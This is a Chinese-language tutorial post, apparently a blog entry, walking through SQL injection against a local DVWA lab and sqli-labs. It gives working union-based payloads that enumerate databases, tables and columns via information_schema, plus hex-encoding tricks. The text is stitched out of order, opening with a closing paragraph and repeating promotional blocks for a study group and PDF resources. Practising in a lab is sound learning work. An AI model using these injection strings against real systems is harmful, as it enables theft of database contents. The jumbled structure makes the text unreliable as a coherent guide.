写在最后
在结束之际,我想重申的是,学习并非如攀登险峻高峰,而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后,持之以恒的学习变得愈发不易,如同在茫茫大海中独自划舟,稍有松懈便可能被巨浪吞噬。然而,对于我们程序员而言,学习是生存之本,是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习,我们便如同逆水行舟,不进则退,终将被时代的洪流所淘汰。因此,不断汲取新知识,不仅是对自己的提升,更是对自己的一份珍贵投资。让我们不断磨砺自己,与时代共同进步,书写属于我们的辉煌篇章。
需要完整版PDF学习资源私我
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
将allow_url_include设置为On
重启phpstudy
3.使用DVWA
3.1设置数据库
浏览器打开http://127.0.0.1/DVWA/setup.php
登录,默认用户名为admin,密码为password;
设置安全级别为low
二、学习SQL注入
在输入框输入1并提交,回显正常,输入值被传递给参数“id”;
url头中为“id=1&Submit=Submit#”
查看源码(前两种方法均无法查看php代码);
1)按F12
2)Ctrl+U查看网页源代码
3)访问http://127.0.0.1/DVWA/vulnerabilities/view_source.php?id=sqli&security=low查看php源代码;
可以看到参数“id”没有过滤,且参数值直接拼接给SQL语句,说明可能有SQL注入;
验证前面的判断,用单引号“ ’ ”判断是否存在注入,注意:要使用英文标点单引号;
中文单引号回显正常
输入**1’**并提交,英文单引号回显不同,有SQL语法报错,则有注入;
或者使用判断语句
输入**1’ and 1=1 #**回显正常
输入**1’ and 1=2 #**回显不同,因此判断存在SQL注入
判断了注入存在,接下来使用“order by”语句判断列数;
输入**1’ order by 2 #**回显正常
输入**1’ order by 3 #**报错,说明存在两列
判断完列数以后,可以看一下是否有显示位,如果有就可以在页面显示需要查询的数据库名、表名等,如果没有显示位置,就直接进行盲注了。
2024.02.01
输入**1’ union select 1,2 #**看显示位
可以看到1,2两个字段都是显示位
利用显示位查数据库名和数据库版本
输入**1’ union select database(), version() #**数据库名在第一个显示位,数据库版本在第二个显示位
数据库名为dvwa,数据库版本为5.7.26
由于MySQL版本大于5.0,所以该版本的MySQL有默认的“information_schema”数据库,保存了所有数据库的信息。
在输入框输入**1’ union select table_name,table_schema from information_schema.tables where table_schema=‘dvwa’ #**并提交
此时的URL为
报错
搜索解决办法https://blog.csdn.net/m0_47470899/article/details/118695774
实际应用:用16进制的方式读取
拼接url:
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(schema_name) ,3 from information_schema.schemata
更改后的url:
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(hex(schema_name)) ,3 from information_schema.schemata
然后再利用在线加解码工具解码;
修改输入内容为**1’ union select hex(table_name),hex(table_schema) from information_schema.tables where table_schema=‘dvwa’ #**并提交
或者修改输入为
1’ union select unhex(hex(table_name)),unhex(hex(table_schema)) from information_schema.tables where table_schema=‘dvwa’ #
看到表有”guestbook””users”两个
知道数据库名和库中的表名以后,可以查询表中的所有字段
输入1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #并提交
未报错,但没有显示
group_concat
修改输入为
1’ union select 1,unhex(hex(group_concat(column_name))) from information_schema.columns where table_name=’users’ #
一、网安学习成长路线图
网安所有方向的技术点做的整理,形成各个领域的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。
二、网安视频合集
观看零基础学习视频,看视频学习是最快捷也是最有效果的方式,跟着视频中老师的思路,从基础到深入,还是很容易入门的。
三、精品网安学习书籍
当我学到一定基础,有自己的理解能力的时候,会去阅读一些前辈整理的书籍或者手写的笔记资料,这些笔记详细记载了他们对一些技术点的理解,这些理解是比较独到,可以学到不一样的思路。
四、网络安全源码合集+工具包
光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这时候可以搞点实战案例来学习。
五、网络安全面试题
最后就是大家最关心的网络安全面试题板块
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!